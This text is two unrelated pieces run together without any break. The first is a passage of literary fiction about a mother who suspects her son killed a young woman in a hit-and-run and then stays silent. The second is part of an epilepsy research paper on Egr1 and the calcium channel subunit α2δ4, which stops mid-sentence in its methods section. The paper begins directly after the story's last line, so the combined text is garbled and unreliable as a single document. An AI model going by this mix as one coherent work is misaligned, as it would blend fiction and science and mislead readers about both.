up before her so suddenly her hands flew up. John saw the movement, then saw her, and Charlotte's heart surged, as if he were hurt, as if he were washing out some great wound she couldn't see. In the next moment she heard the dog, Wyatt, shaking his hide, rattling his tags, and she understood: John would let the dog out in the park, and it would find some other animal's filth, or carcass, to roll in, and later it would stand there grinning under the hose. The worklight snapped off and in they came, Wyatt shoving past to dive face-first into her carpet, driving his upper body along with his hind legs, first one side, then the other, grunting in ecstasy. "Wonderful," Charlotte said, and John said, "I'll get a towel," but then just stood there. "Did you get it all off?" she asked, and he flinched, as if she'd shouted. "—What?" he said. Charlotte gestured at the dog. "Did you get it all off?" John looked at the dog but he wasn't really looking, she could tell; he was thinking of something else altogether. A year out of high school and there were bars he could get into, him and Mike Simms, and some mornings she'd smell the smoke on him like he'd slept in an ashtray. Other mornings she'd smell strawberries and know that Ginny Simms, Mike's younger sister, had been in the house. Charlotte did not approve of such things, of course—but the next thing you knew John was under the sink with his tools, or throwing the football to his brother, or fixing some neighbor kid's bike. A good boy, at the end of the day. A good son. "I got it all," John said at last, and he turned for the stairs. Charlotte switched off the lamp and followed. "Now what are you doing?" she asked, at his door. He went on shoving clothes into his duffle. "Gonna go see Cousin Jer for the weekend," he said. "Shoot some birds." "John," she said. "It's almost two in the morning." He didn't reply. "Does he even know you're coming?" Of course he did, he told her—it was all set up: he'd be at Jer's in an hour, they'd sleep late and then head up to Uncle Martin's cabin. Back Sunday night. Charlotte was confused and strangely heated, as if she'd done something humiliating. "And all this is fine with—your boss?" she said, and John paused, they both did, as the idea of Bud Steadman came into the room: his smell of earth and copper, a certain kind of deodorant. His big good face. His hands. Charlotte saw something on the switch plate, a dark fingerprint, and began to rub it. There'd been a few men over the years but there had been none for several years, and at forty-three, with two grown sons, she'd been ready to believe that all of that was over for her. But it wasn't, not quite. Bud had a nineteen-year-old daughter at home, Caroline, who didn't get along with her mother—or any older woman, so far as Charlotte could see—and the going was slow. But it was going. When the phone rang these days Charlotte's heart jumped. New bras and panties bloomed in her bureau. She'd lost weight. The only reason John was out late tonight, with work in the morning, was because she and Bud had made plans for tomorrow night—Friday night, a date—and John had agreed to stay home with his brother. "I'll call Bud in the morning," he now said. "Mike will cover for me." "And me?" Charlotte all but yelped, swatting him lightly. "We had a deal!" He shrank from her. "You can still go out, Ma. I'll take Big Man with me." "Oh, you will, will you? Hunting?" She stared at him, waiting for one of the Duke's howls to fill his head; most recently, it had been the torn heap of rabbit at Wyatt's feet. A smashed jack-o'-lantern could do the job. "You got a point," John said. A moment passed. The dog was on the bed, on its back, twisting and snorting as if in agony. Charlotte shook her head. Uff da! her grandmother would say, venting the woe from her old Norwegian heart. The same pressure would build in Charlotte but she resisted, remembering the farm in Minnesota: Granddad pulling her off some piece of machinery with a swat; Grammy Moore whacking the neck of a chicken—the jetting blood, the headless, frantic life that didn't want to end. Nothing in this life comes easy, Charlotte had been told, and though it turned out to be true, she'd never said the same to her own children, in case it was the saying so that made it so. She shook her head, she sighed. She would see Bud Steadman in the morning, at the Plumbing & Supply. A change of plans, she'd say. Home-cooked dinner instead. She'd get Dukie to turn in early. Like her, that boy was a sleeper. But Bud Steadman wasn't at the Plumbing & Supply in the morning, his van wasn't there, and Charlotte followed the sullen Dukie into the store with something childish, something ridiculous and acute jabbing at her heart. "Big Man!" Mike Simms called as they came in, and the Duke raised his hand for a gustoless high-five, then disappeared into the back, stranding Charlotte with no good-bye. It was her fault John had gone off to the cabin without him, was the message. She stood there a moment amongst the pipes and fittings. The smell of the place was a smell she loved: pipe dope and PVC glue and sweated copper and men. She remembered the summer when Bud and Raymond had bought the building and began fixing it up. Sawdust in the nostrils, freckles of paint on all their faces. Charlotte and Meredith had fallen for each other like schoolgirls, the kind of gushy, overnight friendship men don't even try to understand. They both got pregnant the same month, and then, five months later, when Charlotte and Raymond learned there was trouble with the twins—one healthy, one not; they could terminate one to save one, or risk losing both—it was Meredith and Bud who loaned them money for more tests, a second opinion, the monitoring that saved John's life. He had his heart murmur, but he'd grown strong as a lion. And the Duke, well, the Duke was the Duke... No one had seen that coming. Six years later, Raymond was dead. The cancer they'd been fighting in one lung had jumped to the other like a clever rat. Charlotte had to give up the business to keep the house. She and Meredith's friendship began to falter, and she realized that after all it was the men, not the women, who kept the two families close. She heard through other friends about Meredith's miscarries, but only called after the first. Both had been boys, she heard. Then, when her own sons were sixteen, here came Bud again, with jobs: custodial duties for Dukie and the secrets of the trade for John. Bud had never gotten around to changing the Steadman-Moore sign on the side of the building, and a hyphen that had once said family to Charlotte, then loss (a minus sign), then another lifetime, suddenly said family again. Now Charlotte asked Mike Simms if he knew when Bud would be back, and the boy replied cheerfully, "Can't say, Mizz Moore. He ain't been in yet." "Oh," she said, puzzled—actually bothered by this answer. "Anything I can help you with, Mizz Moore?" And there it was: Mike Simms had opened up the store. Bud had given him keys. She'd thought John was the only one. * In her car again, driving across town to the mall where she works. A brilliant, stunning blue day in October. Cars moving along in their lanes, catching the light. On the radio two women are talking in quiet tones: one has written a book about her childhood, her abusive drunken father, but it's the women's voices, more than the subject, that takes Charlotte back in time, to a night when she felt friendship land on her like a blow. They had all been working on the store and now she and Meredith sat alone on the deck with the wine. If they were pregnant, they didn't yet know it. The bellies of insects pulsed green in the dusk. Bud had taken Raymond to the basement to talk about turning it into something called a game room. The women could hear the low, manly voices down there. When she was sixteen, Meredith said, refilling Charlotte's glass, then her own, she had slept with a teacher at her high school. Charlotte picked up her glass. Took a sip. In her stomach she felt as if a notorious man had just grinned at her. What kind? she asked. Of teacher. Art. Mr. Beckman. Mr. B. He thought Meredith had talent. She thought he was a fairy. Everyone did. He passed her one day in his car, an Oldsmobile. She was wearing her best skirt. Meredith was quite a bit smaller than Charlotte, tiny in fact, with the most extraordinary skin. At sixteen, Charlotte could not even imagine. They talked about Dali, Meredith said. They parked. He had a mustache that tickled. He wanted to see her again. He stood behind her in class, as she drew. He began slipping her these little drawings—very good, very dirty. He was in an artistic fever, he said into her ear. She showed the drawings to just one person, her best friend, but that was enough. A substitute teacher came to Mr. B.'s art room one day, and stayed. The school was talking. Meredith's father heard it at the plant from some other kid's father, came home and slapped the living crap out of her. My God, Meredith. Charlotte put her fingers on her friend's cool forearm. Her dad had these brothers, Meredith continued after a moment in the same quiet, factual tone. Five of them. One, Uncle Donny, was a piece of work. In and out of jail, drunk at Christmas, fuck this and fuck that. About a month after the Mr. B. scandal, Uncle Donny came by the house. He was there just a minute, barely said hello, and two days later they found Mr. B. walking along the interstate. His head was cracked. His teeth were gone. All his fingers were broken. Laughter came to them from the house, from the basement, making them both turn to stare. Meredith raised her glass again and Charlotte heard it clink lightly against her teeth. She waited for the cops to come, Meredith said. She stopped eating. She typed a letter at school and sent it anonymously. No one ever came. No one ever did. Mr. B. was in the hospital a long time but he couldn't recognize you, they said, so what was the point of going up there? His parents came and took him away, finally, like a child. My God, Meredith, Charlotte said again. She could barely see her friend in the dark. Her heart was beating with pity and love. After a while she said, What do you do with that? There was no reply, a long, unnatural soundlessness, a black well of listening. Fireflies like little bombs going off at a great distance. Men coming up the stairs, loud and huge. Meredith's eyes flashed and she said, You bury it, Charlotte. * The morning passed. Charlotte in the back room tagging sweaters amidst tinny bursts of ring tone from the jackets and purses of the salesgirls. At ten o'clock she walked to the far end of the mall, all the way to the restrooms and the building's—maybe the world's—last payphone. (The little cellphone John and Dukie had given her for her birthday—"Look, it takes pictures!"—sat dead in a kitchen drawer, next to the dead camera.) She intended to call Bud, tell him the new plan, but at the last moment she dialed John's cellphone instead, got his voicemail. "John, here. You know what to do." She asked him to leave her a message at home, just to say he arrived at Cousin Jer's OK, then she hung up and began the long walk back to work. She would call Bud later, at her lunch break. It was Friday, and they had a date. Back at the store, something had happened. Alicia stood alone on the sales floor, thin arms folded over her thin stomach. Ten years younger than Charlotte, she would talk about things like chakras and third eyes and orgasms. Now she came from behind the register as if Charlotte were some girl with an Anne Klein blouse stuffed up her shirt. In the door of the back room Charlotte saw two salesgirls with phones to their ears, one listening, open-mouthed, the other moving her lips in a ceaseless rapid-fire. "There's been an accident," said her boss, and the store rolled and Charlotte pitched backwards, sickly, into a scene on the highway, John's truck inverted on the shoulder, wheels to the sky, black smoke spiraling— "No, no," Alicia said quickly, "not that, not one of yours. It's Caroline," she said. "Bud Steadman's girl," she said. "They found her this morning in the river." * The story was going around, cellphone to cellphone: Caroline had been walking home from her boyfriend's. No, she was walking home from the bars. She was alone; she was not alone. She'd been drinking. She was high. The girl had problems—she'd lost her license to a DUI the year before, that much was a fact. She was cutting through the park, along the river, and had fallen in. Jumped in. Been pushed in. She'd been there all night. Someone crossing the bridge had seen her, wallowing against the concrete piling below like driftwood. Charlotte was in her car again, driving across town. A brilliant, cold blue day. On the sidewalk a young woman with long black hair drew a kite-tail of small children behind her. A man in tights ran by them, smiling. The sun, the blazing trees, the silvered bend of river, all exactly as it should be on a day in October, a pristine day. She tried to picture it: Caroline Steadman, this girl she'd known since birth, floating in the water with the branches. But all Charlotte saw clearly was the blouse, the one she'd given the girl on her nineteenth birthday, Bud looking on uneasily: a smart, semi-sheer blouse she had spent too much on, even with her discount, all night in the river under the black sky, the fabric wetted to skin except where air slipped in, raising white, tremulous welts on the water. * "Charlotte—" He was startled, confused to see her. His pale face, the bruised unfocussing eyes, swept away anything she might've been ready to say. "I'm sorry," she said, "I tried to call first..." Three times, from the store—three times got his service, three times hung up. What was the message you left for this? Go, Alicia said finally. He's going to need you. But he was not asking her in, or even letting go of the storm door so she could put her arms around him. She wasn't surprised, she told herself, certainly not hurt—it had nothing to do with her. He had to handle things his own way, in his own time. "I'm so sorry, Bud," she said into those eyes. "They took me to her," he said. "The police. To make sure." "Oh, Bud. By yourself?" He didn't answer, he seemed to be listening, and she listened too: someone else was in the house, on the phone. A voice of calm, male authority. She glanced at the extra car in the drive, a black gleaming Lexus. "Someone's with you?" "Duncan." "That's good. That's good, Bud." His brother Duncan, she remembered, was some kind of lawyer for the state. She'd met him once and had been struck by the cleanliness of his fingernails. "Can I do anything, Bud, is there anything I can do?" He caught her eyes, fleetingly, possibly by accident. He said, "Meredith's on her way. Her sister's driving her down. I thought it was them when you knocked." Charlotte nodded, but couldn't speak. She hadn't seen Meredith in years, not since before the divorce. She remembered that night on the deck, with the wine, when her heart had filled with pity and love. They were going to be friends forever, old ladies, arm in arm in Mexico, Europe, after the husbands were gone. When the first crack in their friendship appeared, not long after Raymond's death, it was that story again, that secret—Mr. B.—that somehow widened the crack and made it permanent. "They think now maybe she didn't just drown," Bud said abruptly. "They—?" said Charlotte. "The police." He dug at the black and gray whiskers on his face. "They think someone hit her with a car." "My God." Charlotte had the sensation of dropping through space, her stomach rising. "They think this person didn't see her maybe," Bud said. "Then tried to cover it up by pushing her in the river. Can't be sure," Bud said, "but it looks like she was still alive, then. When they pushed her in. Looks like she was still breathing." * "Mama," Dukie said when she came in, "the police men was here. One man and one girl police man." He was at the plate glass window, spritzing away smears and fingerprints. Mike Simms sat behind the counter, unsmiling. Charlotte looked at him and he nodded. "They're going around talking to people," he said. "Anyone who mighta seen her last night." Charlotte nodded, too. She thought a moment. She tried to think. She had meant to ask Mike about John, if they'd been together last night, but now she didn't want to look at him again. She couldn't seem to breathe. "Dukie, get your jacket," she said, lifting her purse to dig in it, though her keys were already in her hand. "Gotta do windows, Mama." "Tomorrow, Dukie. Today's a short day." At home she was barely in the door, had barely glanced at the answering machine—no blinking red light, nothing—before she saw the car outside, in the street. A plain blue sedan parked as if it had been there all day, when she knew it hadn't been there just seconds ago. Two men in ties and jackets were coming toward the house. She met them at the door, and the taller of the two, calling himself Detective Carson, watched her face as he made sure Charlotte was aware of the unfortunate news regarding...while the other man, Detective Something, brushed past her with his eyes and began tearing the house apart. They were trying to learn as much as they could about the night before, this Carson was explaining. They understood that her son John had been at the bar where Caroline was last seen alive. Charlotte wasn't sure if this was a question, but she said she couldn't say about that, she didn't know where he'd been. The other man, chewing gum, looked and sounded as if his mouth had been invaded by some small creature. After a moment—after Carson asked—she let them in. * There wasn't much she could tell them, as there wasn't much she knew, and just a few minutes after they left she had trouble remembering their names, their faces, trouble believing they were ever there at all. She tried to call John again. Kept trying until she heard, from her brother Martin, calling her, that he was in custody. They'd found him up at the cabin, and there was no trouble. "In custody—?" Charlotte heard herself say. "Not arrested," her brother said quickly. "Not charged." "But in custody," Charlotte said. There's a gray area, he told her—and he went on reassuring her, but Charlotte's mind was tumbling. She was at the kitchen window, as she had been the night before. Two yellow eyes looking in the window, the twin smiley-faces. Water, she remembered. The dog had rolled in something. She saw her son's face, the gust of white breath when he saw her in the window. There was nothing out there now. No truck. No son. In custody. * It's dark when tires crunch in the drive, and she quickly turns off the TV. A car door slams, the tires crunch the gravel again, and in walks John. Charlotte is up from the sofa but everything about him says Stop, don't touch me. Dukie comes in and lifts him in a bear hug until John says "Put me down, idiot." "John," Charlotte says. He ignores her, going for the stairs. "Hey, where's Wyatt?" Dukie bellows. "I had to leave him up there, with Jer." "Oh, no!" cries Dukie. "Who brought you home?" Charlotte asks, afraid to hear the answer—that it was those men, the detectives—and John stops on the stairs. "Why are you even here, Ma?" Charlotte stares at him. "Why aren't you on your date?" "John—" she says again, with purpose, but then falters. She has a feeling of choking, of drowning. His eyes burn into her a moment, then he turns again, and the two of them, her boys, disappear over the rise of the stairs. She locks the doors and closes drapes. It crosses her mind to pull the phone line from the wall, and in that instant the phone rings. It's Martin again, her brother. There's nothing for her to worry about, he says, he's been talking to the lawyer. He spends some time telling her things she hardly hears, something about physical evidence, the phrase "erratic, troubled girl," and Charlotte mechanically takes down the number of the lawyer. There's a silence, and she asks, "Do you think he knows?" "Who?" Martin says. "Bud Steadman. Do you think he knows...about John?" "You haven't talked to him?" "Yes, earlier. Briefly. He wasn't—he..." She doesn't finish. "He's a good man, Char," Martin says. "And he's been good to those boys. But what he's going through right now... Hell, I don't even want to imagine." * She waits for the detectives to return, but they don't—not that night, not all day Saturday. She waits for Bud to call, although she knows that won't happen either, not as long as those cars are parked in his drive—the black Lexus, and now a white Volvo she knows is the car Meredith came down in. And then it's Sunday night, Halloween. John emerges from his room at last, on his way to Mike Simms' waiting truck, and off they go. Charlotte sits home with the Duke, who sits in his Packers helmet and jersey, ready to dish out candy for kids if any come. None do; not one. It's a bad night for it, a bitter wind blowing, so no wonder. Later, after Dukie's gone to bed, something sails through the living room window and lands on the carpet. A small stone out of the sky. It's surprising what a clean, small hole it makes, with only a few slender shards to pick up. The pieces are still in her hand when the phone rings. "Hello?" she says. "Hello—?" "Hello? Mrs. Moore?" Mrs. Moore! The blood goes out of her, she steadies herself on the counter. But it isn't him, it isn't Bud. It's his brother, Duncan. Charlotte manages to give her sympathies, then listens while Duncan explains that Bud isn't going to open the store tomorrow, so the boys should plan on staying home. "Of course," Charlotte says. She sees the scene over there, at Bud's house: Duncan at the phone and Bud beyond him, heaped in a chair, staring into coffee, Meredith on the sofa, their daughter, their only child, dead. "But I wonder," she says, "is there any chance—" "In fact," says the brother, "they should probably plan on staying home until further notice, Mrs. Moore." After he hangs up, Charlotte keeps the phone to her ear, listening to the strange, enormous silence there, a sound from the windy blacks of space. She stands frozen in it, her chest emptied. There was a day, years ago, when something happened, or nearly happened, between her and Bud Steadman. A gray afternoon, the window panes ticking with bits of ice. She had come out of a bath and felt weak and had sat down on the bed. Before her was the cheval glass that had belonged to her grandmother, her mother, now her. Who would she give the mirror to, this girly keepsake? Charlotte—? A man in the house, downstairs. Her heart gave a kick. His footfall across the living room, and then her name again, lobbed up the stairs. A stair tread creaked and she reached for her robe, but stopped. Two days ago they had buried Raymond. This afternoon, Bud had picked up the boys and taken them to a movie so Charlotte could sleep. Now they were back. Charlotte—? he said from around the corner. Yes, she answered. That was all. He came anyway, into the frame of the door. Oh— His big face filled with the shock of her there, on the bed. I'm sorry, he said. She heard kids in the yard, boys and girls, already into some kind of contest. Caroline could be mean but John would keep things fair and good for the Duke. Brought the boys back, Bud said, not looking away, looking her in the eye. He reached up and worked the flesh under his jaw with a coarse, sandpaper sound. He was a man who was sure before he acted, who didn't operate by guesswork or even intuition, but who held in his head all the hard facts of mechanical things. Over the years there had been moments, yes, when she'd wondered what it would be like to be with him instead of Raymond, to simply switch. Innocent, helpless thoughts such as every woman must have... He took a step, then came certainly toward her. In the wash of movement she smelled the outdoors, the steely clouds and the wet, moldering leaves. Green buttons rode the flannel wave of his stomach down to his belt. The buckle was a little brass mouth with a little brass tongue. Her heart beat in her breast. She turned to the mirror and the picture there was incredible: this naked, wet-haired woman, this man beside her dressed for cold—the forward cant of his body, the emptiness of his hands. Charlotte— he said, and in the next instant Caroline's voice, shrill and imperious, penetrated the room like a wind. Hands off, retard! Out there, in the cold, John said something low, and silence followed. Bud's face was crimson. His jaw muscle jumped. She knows better, by God. It's all right, Charlotte said. Nothing else happened. The day was going dark. In the mirror she saw Bud's arm drift toward her shoulder, then beyond it. She saw her robe rise up like a spirit, felt it brush her shuddering skin. In the mirror, as in the flesh, he got the robe over her shoulders and over her breasts without quite touching her. There is glass in her hand, Charlotte notices, standing at the sink. Slender fragments pressed into her palm, and after a moment she remembers the broken window, the strange little stone. She dumps the glass in the trash and rinses her hand under the faucet. She had wanted to tell him something, that day—something true and unafraid, such as how she'd often felt, her secret thoughts. Caroline's voice had stopped her. And if it hadn't? If everything had gone just a little bit differently? Meteors, they said, were on the way, right now, crossing billions of years of chance. If Caroline had not spoken and Charlotte had—would things be different? Would Caroline be alive? It's late, almost midnight. Wind is moaning in a gap somewhere. She begins going around the rooms locking doors, switching off lights. She's halfway up the stairs before she remembers John is still out, but she doesn't go back down to turn on the lamp. In a few weeks, he'll be gone. He'll take off one day while she's at work, leaving just a note saying he's gone down to St. Louis, to work construction with a friend of his. The lawyer will call a few days later looking for him—John's cellphone number no longer works—but it's a social call, mainly, just checking in. John's a good kid, the lawyer will say before hanging up. Charlotte raised a good boy. Not long after that she will see that Bud Steadman has finally changed the sign on the side of the building—white-washing out the hyphen and everything after—and that's when she'll decide to go, too. Her father still has the farm in Minnesota, where as a girl she learned nothing comes easy. It's a place, a life, she had left behind. But you never do. There's room for her and Dukie and the dog, Wyatt, which John has left behind. The first time she cooks for him, at the old stove, her father weeps. John will come up for Thanksgiving and Christmas that first year, then just Christmas, then not even that. One day Charlotte will get a card in the mail, two photos inside. Here is her new daughter-in-law, Cheryl; here is her grandson, Grant—the very image of John and Dukie when they were born. But "healthy," John writes, "and normal." When the dog finally dies—of cancer, like Raymond—Charlotte decides to call her son. She's remembering the day he found the dog, just this bag of bones down by the tracks. He'd fed it some licorice and when he turned to go it latched its jaw onto his calf muscle. Seeing the teeth marks in his skin—the skin unbroken, thank God—Charlotte got up to call the pound, the Board of Health, the police. But John had looked at her, and then at Dukie, who was studiously petting the animal's skull. This was late November, maybe December. Raymond had not been dead very long. John kneeled next to his brother and began stroking the dog's ragged spine. You know what they'll do to him, he said quietly, as if to himself. What? said the Duke. What will they do to him? Don't, Charlotte said. John, don't... Well. He had been a good dog, after all. Smart, happy, devoted to John as if he'd never forgotten that piece of licorice, that sudden change of fortune. After John left, leaving him behind with Charlotte and Dukie, he was not the same animal. His heart was broken. Sickness saw an opening. "What do you want me to do with him, John?" she now asks on the phone, her voice under control. It was the water, she remembers—the sound of water in the pipes. If he had never turned it on she would never have come downstairs. She would never have seen him out there with the hose in his hand, would never have seen the look on his face the moment he knew she was there, the moment he knew he'd been seen. Of course, if she had not had a date with Bud Steadman—if she had never had feelings for Bud Steadman—John would not have been out at all that night. This is Charlotte's final thought on the matter, again and again, up there in Minnesota. "What else can you do?" John says at last on the phone, in the voice of an older man, a husband, a father. "You bury him, Ma."

Abstract Transient brain insults, including status epilepticus (SE), can trigger a period of epileptogenesis during which functional and structural reorganization of neuronal networks occurs resulting in the onset of focal epileptic seizures. In recent years, mechanisms that regulate the dynamic transcription of individual genes during epileptogenesis and thereby contribute to the development of a hyperexcitable neuronal network have been elucidated. Our own results have shown early growth response 1 (Egr1) to transiently increase expression of the T-type voltage-dependent Ca2+ channel (VDCC) subunit CaV3.2, a key proepileptogenic protein. However, epileptogenesis involves complex and dynamic transcriptomic alterations; and so far, our understanding of the transcriptional control mechanism of gene regulatory networks that act in the same processes is limited. Here, we have analyzed whether Egr1 acts as a key transcriptional regulator for genes contributing to the development of hyperexcitability during epileptogenesis. We found Egr1 to drive the expression of the VDCC subunit α2δ4, which was augmented early and persistently after pilocarpine-induced SE. Furthermore, we show that increasing levels of α2δ4 in the CA1 region of the hippocampus elevate seizure susceptibility of mice by slightly decreasing local network activity. Interestingly, we also detected increased expression levels of Egr1 and α2δ4 in human hippocampal biopsies obtained from epilepsy surgery. In conclusion, Egr1 controls the abundance of the VDCC subunits CaV3.2 and α2δ4, which act synergistically in epileptogenesis, and thereby contributes to a seizure-induced “transcriptional Ca2+ channelopathy.” SIGNIFICANCE STATEMENT The onset of focal recurrent seizures often occurs after an epileptogenic process induced by transient insults to the brain. Recently, transcriptional control mechanisms for individual genes involved in converting neurons hyperexcitable have been identified, including early growth response 1 (Egr1), which activates transcription of the T-type Ca2+ channel subunit CaV3.2. Here, we find Egr1 to regulate also the expression of the voltage-dependent Ca2+ channel subunit α2δ4, which was augmented after pilocarpine- and kainic acid-induced status epilepticus. In addition, we observed that α2δ4 affected spontaneous network activity and the susceptibility for seizure induction. Furthermore, we detected corresponding dynamics in human biopsies from epilepsy patients. In conclusion, Egr1 orchestrates a seizure-induced “transcriptional Ca2+ channelopathy” consisting of CaV3.2 and α2δ4, which act synergistically in epileptogenesis. - Cacna2d4 - CaV3.2 - early growth response 1 - epileptogenesis - pilocarpine and kainic acid-induced status epilepticus - transcriptional Ca2+ channelopathy Introduction Transient brain insults, including status epilepticus (SE), can induce a process called epileptogenesis and render neuronal networks chronically hyperexcitable. Epileptogenesis refers to the period during which the “central nervous tissue acquires the capability to generate spontaneous seizures” and relates to “the development of an epileptic condition” (Pitkänen and Engel, 2014). The transcriptome of human brain biopsies of pharmaco-resistant focal epilepsy patients undergoing surgery for seizure control and of corresponding rodent models exhibits strong changes in the expression levels of a large number of genes compared with healthy hippocampus (Laurén et al., 2010; Okamoto et al., 2010; Hansen et al., 2014; Johnson et al., 2015). Many of these genes code for proteins with substantial impact on neuronal excitability, in particular distinct ion channels (Ellerkmann et al., 2003; Bernard et al., 2004; Royeck et al., 2015; van Loo et al., 2015; Gross et al., 2016). Recently, we have observed an acquired channelopathy, in which the CaV3.2-mRNA encoding the low voltage-dependent pore-forming Ca2+ channel subunit α1H is transiently augmented during epileptogenesis after pilocarpine-induced SE (Su et al., 2002; Becker et al., 2008). This translates into increased CaV3.2 protein levels and T-type Ca2+ currents, as well as a higher propensity of CA1 neurons for burst discharges (Sanabria et al., 2001). CaV3.2-deficient mice do not show these electrophysiological changes during epileptogenesis and experience dramatically fewer chronic recurrent seizures (Becker et al., 2008). The theory of “master regulators” controlling the transcriptional dynamics of genes involved in epileptogenesis is attractive because this would mean that blocking these transcriptional regulators could be particularly powerful in exerting antiepileptogenic and disease-modifying effects. Numerous “master regulator candidates,” comprising transcriptional activators and repressors, have been suggested (for review, see Becker, 2018). However, only few reports so far have demonstrated the regulation of more than one gene encoding a protein integrally involved in the processes underlying epileptogenesis by a single transcription factor (TF) (McClelland et al., 2014). With respect to potential control mechanisms, we have observed substantial promoter activation of CaV3.2 by the immediate early TF Egr1 (van Loo et al., 2012). Here, we addressed the question whether Egr1 is a hub gene in an epileptogenic gene regulatory network that controls the seizure-induced expression of not only CaV3.2, but also of additional potentially disease-relevant voltage-dependent calcium channels (VDCCs). Ca2+ channels consist of a complex of pore forming α1 and auxiliary α2δ, β, and γ subunits (Catterall, 2000). In particular, members of the CACNA2D family have been linked to various forms of epilepsy, including CACNA2D1 to West syndrome (Hino-Fukuyo et al., 2015) and symptomatic generalized epilepsy (Vergult et al., 2015), and CACNA2D2 to infantile epileptic encephalopathy (Edvardson et al., 2013; Pippucci et al., 2013). Genetic mutations or rearrangements of the mouse Cacna2d2 gene can result in an epileptic phenotype, as seen in the ducky, ducky2j, and entla mice (Barclay et al., 2001; Brill et al., 2004). Moreover, Gabapentin, an adjunct drug to control seizures, was found to bind both the α2δ1 and α2δ2 subunits. These findings support the idea that other high voltage-activated calcium channels may play a role in the pathogenesis of epilepsy. Here, we observed a strong positive regulation of Cacna2d4 by Egr1, which encodes the auxiliary α2δ4 (α2δ4) VDCC subunit. α2δ4, so far known to be expressed at higher levels only in the retina (Wycisk et al., 2006a), was found to act proepileptogenic. Together, our data provide the first evidence for a synergistic transcriptional Ca2+ channelopathy, based on an Egr1-mediated dynamic augmentation of the CaV3.2 and α2δ4 calcium channel subunits. Materials and Methods Bioinformatic analysis. Enriched, overrepresented binding sites for Egr1 were identified using the Genomatix RegionMiner software tool (RRID:SCR_008036) and ranked based on their overrepresentation value calculated against (1) the whole genome (Z score-genome) and against (2) all annotated promoter regions of the genome (Z score-promoter). A Z score >2 corresponds to a p value of 0.05 and can be considered statistically significant (Ho Sui et al., 2005). As calcium channel genes, we selected Cacna1a, Cacna1b, Cacna1c, Cacna1d, Cacna1e, Cacna1f, Cacna1g, Cacna1h, Cacna1i, Cacna1s, Cacna2d1, Cacna2d2, Cacna2d3, Cacna2d4, Cacnb1, Cacnb2, Cacnb3, Cacnb4, and Cacng1. In contrast to the Cacnag1 gene, which was found to be a calcium channel subunit (Takahashi et al., 1987), the Cacng2–8 genes were not included in our analysis because no biochemical or functional evidence supports a role for these proteins as calcium channel subunits (Witcher et al., 1993; Müller et al., 2010; Catterall, 2011). Rather, Cacng2–8 genes belong to the group of transmembrane AMPA receptor regulatory proteins (Tomita et al., 2003). The genomic sequence of the mouse Cacna2d4 gene was obtained from the UCSC genome browser (December 2011; GRCm38/mm10; RRID:SCR_005780). Potential transcriptional start sites (TSSs) and TATA box motifs were identified using GPMiner (Lee et al., 2012), and Egr1 binding sites within the Cacna2d4 promoter region were identified using the Genomatix MathInspector software tool. Plasmids. The pAAV-hSyn-tdTomato and pAAV-hSyn-GFP plasmids were made by cloning the tdTomato and GFP sequences into the BamHI/BglII-digested pAAV-hSyn-Venus vector (van Loo et al., 2015). The pAAV-hSyn-Egr1-IRES-Venus construct was made by introducing the mouse Egr1 gene (van Loo et al., 2012) into pAAV-hSyn-IRES-Venus (van Loo et al., 2015) using the NheI and BamHI restriction sites. pAAV-hSyn-Egr1dN-2A-mCherry was made by first introducing the Egr1 gene into pKan-CMV-2A-mCherry (kind gift from D. Wachten, Bonn University) using EcoRI/HindIII. Next, the zinc-binding domain of Egr1 was deleted by digestion and subsequent ligation of the pKan-CMV-Egr1-2A-mCherry construct with XmnI. Using this strategy, a 282 bp fragment is removed, resulting in a dominant-negative version of the Egr1 gene (Egr1dN; (Cao et al., 1990). As a next step, the Egr1dN-2A-mCherry fragment was inserted into pAAV-hSyn-MCS using EcoRI/BamHI. The pAAV-hSyn-Cacna2d4-2A-mCherry plasmid was produced by first introducing the human Cacna2d4 gene (kind gift from Dr. F. Haeseleer, University of Washington) (Lee et al., 2015) into pAAV-hSyn-MCS using AsiSI/ClaI. Then, the 2A-mCherry sequence (see above) was introduced into BshVI/SalI-digested pAAV-hSyn-Cacna2d4 using the In-Fusion HD Cloning kit (Takara Bio) with forward 5′-aactcctgcggatcggagtgaaacagactttgaattttgaccttct-3′ and reverse 5′-gcttctgcaggtcgatcacttgtacagctcg-3′ primers. pLenti-hSyn-Cacna2d1-HA was made using a pLenti-vector of the second generation (pLenti-synapsin-ChR2; provided by Thomas Oertner and Tobias Rose; FMI Basel). The ChR2 insert was removed by digestion with AgeI and BsrGI, and sticky ends were afterward filled up using Klenow Fragment (Thermo Fisher Scientific). The Cacna2d1-2HA insert (NM_001082276.1) was cut from a pCBA-α2δ1-2HA plasmid (provided by Gerald Obermaier) using NotI and SalI, filled up to blunt ends, and ligated into the lentiviral transfer vector. All cloning procedures were performed in Stbl2 bacteria (Invitrogen). Plasmid sequences were verified by sequencing analysis. Cell culture and virus production. NG108-15 cells (ATCC HB-12317TM, RRID:CVCL_0464) were maintained at 37°C and 5% CO2 in DMEM supplemented with 10% (v/v) heat-inactivated FCS (Invitrogen), 100 units/ml penicillin/streptomycin, 2 mm glutamine, and 1× HAT (sodium hypoxanthine, aminopterin, and thymidine; Invitrogen). HEK293-AAV cells (#240073, RRID:CVCL_6871, Stratagene) were kept in high glucose DMEM supplemented with 10% FCS (Invitrogen), 100 units/ml penicillin/streptomycin, and 2 mm glutamine, and incubated at 37°C and 5% CO2. Recombinant AAV1/2 genomes were generated by large-scale triple CaPO4 transfection of HEK293-AAV cells as described previously (van Loo et al., 2012). To produce lentiviruses, 3 × 106 HEK293T cells were seeded on a 10 cm cell culture dish and transfected after 24 h with a second-generation lentiviral packaging system (7.5 μg psPax2, Addgene #12260; 5 μg pMD2.G, Addgene #12259; and 4 μg pLenti-hSyn-Cacna2d1-HA) using GenJet transfection reagent (Signagen). Cells were incubated for 12 h at 37°C and 5% CO2, and medium was replaced to fresh DMEM containing Glutamax (Invitrogen) supplemented with 10% FBS. After 72 h of incubation, supernatant was filtered through 0.45 μm PVDF membrane filters (GE Healthcare) and collected in conical ultracentrifugation tubes (Beckman Coulter). The filtered supernatant was under layered by OptiPrep solution (Sigma-Aldrich) and centrifuged at 24,000 rpm for 2 h at 4°C in a SW-Ti32 swinging bucket (Beckman Coulter). The upper layer was discarded, and the OptiPrep-Layer with viral particles at its top was gently mixed with TBS-5 buffer (containing the following: 50 mm Tris-HCl, 130 mm NaCl, 10 mm KCl, 5 mm MgCl2). Suspension was centrifuged as before to pellet the viral particles. Supernatant was discarded, and the pellet was resuspended in TBS-5 buffer. Lentiviral particles were stored at −80°C until use. mRNA isolation and real-time RT-PCR quantification. mRNA and cDNA from NG108-15 cell preparations and hippocampi were isolated using the Dynabeads 